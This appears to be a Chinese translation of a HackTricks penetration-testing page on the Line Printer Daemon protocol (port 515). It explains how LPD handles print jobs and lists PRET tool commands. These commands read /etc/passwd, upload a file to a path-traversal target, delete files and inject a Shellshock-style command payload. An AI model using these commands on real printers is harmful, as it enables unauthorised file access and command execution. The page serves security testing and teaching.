hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

3.4 KiB
Raw Blame History

零基础学习 AWS 黑客攻击直至成为专家 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

Line Printer Daemon (LPD) 协议最初是在 80 年代的 Berkeley Unix 中引入的(后来由 RFC1179 规范定义)。
该守护进程运行在 515/tcp 端口,并可以使用 lpr 命令访问。为了打印,客户端发送一个定义作业/用户名的 控制文件 和一个包含实际打印数据的 数据文件。数据文件的 输入类型 可以通过在控制文件中选择 各种文件格式 来设置。然而,如何实际处理打印数据取决于 LPD 的实现。一个流行的 Unix-like 操作系统的 LPD 实现是 LPRng。LPD 可以用作部署 恶意 PostScriptPJL 打印作业 的载体。

PRET 包含了 lpdprintlpdtest 工具**。** 它们是直接向 LPD 兼容打印机打印数据或下载/上传/删除文件等的简约方式:

lpdprint.py hostname filename
lpdtest.py hostname get /etc/passwd
lpdtest.py hostname put ../../etc/passwd
lpdtest.py hostname rm /some/file/on/printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
lpdtest.py hostname mail lpdtest@mailhost.local

如果您想了解更多关于黑客打印机的信息,请阅读此页面

Shodan

  • 端口 515
从零开始学习AWS黑客攻击直到成为专家通过 htARTE (HackTricks AWS 红队专家)

其他支持HackTricks的方式